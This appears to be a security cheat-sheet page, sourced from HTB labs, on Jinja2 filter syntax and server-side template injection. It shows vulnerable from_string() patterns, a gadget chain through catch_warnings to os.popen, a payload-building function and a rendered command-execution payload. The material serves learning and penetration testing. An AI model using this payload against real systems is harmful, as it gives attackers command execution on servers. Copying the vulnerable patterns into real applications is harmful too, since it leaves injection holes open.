Skip to content
Jinja2

Jinja2

Jinja2 filter syntax

The pipe operator passes the value on its left through the filter named on its right:

{% set result = value | filter %}

This is equivalent to applying filter to value and assigning the returned value to result. The filter name may refer to a Jinja2 built-in filter or a custom filter registered by the application.

import base64

@app.template_filter("decode")
def decode_value(value):
    decoded_bytes = base64.b64decode(value)
    decoded_value = decoded_bytes.decode()
    return decoded_value
{% set result = encoded_value | decode %}

The template syntax above is application-controlled source. Attacker-controlled encoded_value remains data passed into the filter unless it reaches another operation that evaluates it as template or code.

Find by: jinja2, jinja, pipe operator, vertical bar, filter syntax, custom filter, template_filter, set variable, source review · Source: HTB/C.O.P.

Jinja2 SSTI RCE via catch_warnings

Builds a Jinja2 payload that reaches Python builtins through the catch_warnings class and executes a command with os.popen().

Vulnerable source pattern

A fixed template loaded from disk keeps user_input in the template context as data:

<p>{{ value }}</p>
template = environment.get_template("page.html")
output = template.render(value=user_input)

When autoescaping is enabled, {{ value }} escapes HTML metacharacters. Adding safe disables that HTML escaping:

<p>{{ value | safe }}</p>

safe can make attacker-controlled HTML executable in the browser, but it does not parse Jinja2 syntax stored inside value. An input such as {{ 7 * 7 }} remains the literal value {{ 7 * 7 }} in both cases.

SSTI appears when attacker-controlled input becomes the source passed to from_string():

template_source = user_input
template = environment.from_string(template_source)
output = template.render()

The same vulnerability appears when the input is concatenated into otherwise fixed source before compilation:

template_source = "<p>Result: " + user_input + "</p>"
template = environment.from_string(template_source)
output = template.render()

In both vulnerable forms, {{ 7 * 7 }} is part of template_source and renders as 49.

Testing

An evaluated arithmetic expression renders 49, confirming that the input reaches the template engine as template source rather than plain data.

{{ 7 * 7 }}

Command execution

The payload reaches Python’s import function by starting from an object that can be created inside the template and following references to built-in functions already loaded by Python. This existing object path is the gadget chain.

The chain is:

()                         -> create an empty tuple object
().__class__                -> obtain the tuple class
().__class__.__base__       -> obtain the base object class
object.__subclasses__()     -> return the classes currently loaded beneath object
x.__name__                  -> identify each class by name
x()                         -> create an instance of catch_warnings
x()._module                 -> obtain the Python warnings module referenced by that instance
_module.__builtins__        -> obtain the built-in functions available to the module
['__import__']('os')        -> load the os module
os.popen(<COMMAND>)         -> start the command and return a readable stream
.read()                     -> read command stdout into the rendered template

The loop searches the loaded classes for the one named catch_warnings; its _module attribute provides the path to the built-in import function. This path depends on the class being loaded and on the template environment allowing these attribute accesses.

repr(command) quotes and escapes the command as a valid Python string literal, so spaces and quotes inside the command do not break the template expression.

def jinja2_popen_payload(command):
    payload = "{% for x in ().__class__.__base__.__subclasses__() %}{% if x.__name__ == 'catch_warnings' %}{{ x()._module.__builtins__['__import__']('os').popen(" + repr(command) + ").read() }}{% endif %}{% endfor %}"
    return payload

Rendered payload

{% for x in ().__class__.__base__.__subclasses__() %}{% if x.__name__ == 'catch_warnings' %}{{ x()._module.__builtins__['__import__']('os').popen('id').read() }}{% endif %}{% endfor %}

Find by: ssti, jinja2, jinja, template source, template data, from string, from_string, safe filter, autoescape, xss vs ssti, template injection, catch_warnings, subclasses, builtins, import os, popen, command execution, repr, python template · Source: HTB/JinjaCare + Jinja documentation